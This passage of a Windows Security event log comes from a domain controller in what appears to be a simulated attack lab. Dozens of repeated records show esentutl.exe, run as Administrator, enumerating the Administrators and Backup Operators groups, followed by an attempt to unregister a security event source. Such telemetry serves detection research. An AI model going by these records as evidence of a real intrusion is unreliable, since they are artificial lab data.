0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258043 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258042 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258041 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258040 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258039 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258038 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258037 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258036 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258035 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258034 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258033 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258032 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258031 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258030 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258029 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258028 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258027 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258026 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258025 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258024 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258023 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258022 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258021 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258020 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258019 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258018 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258017 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258016 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258015 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258014 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258013 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258012 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258011 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258010 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258009 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258008 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258007 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258006 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258005 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258004 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258003 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258002 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258001 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258000 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257999 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257998 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257997 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257996 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257995 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4905 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=257994 -Keywords=Audit Success -Message=An attempt was made to unregister a security event source. - -Subject - 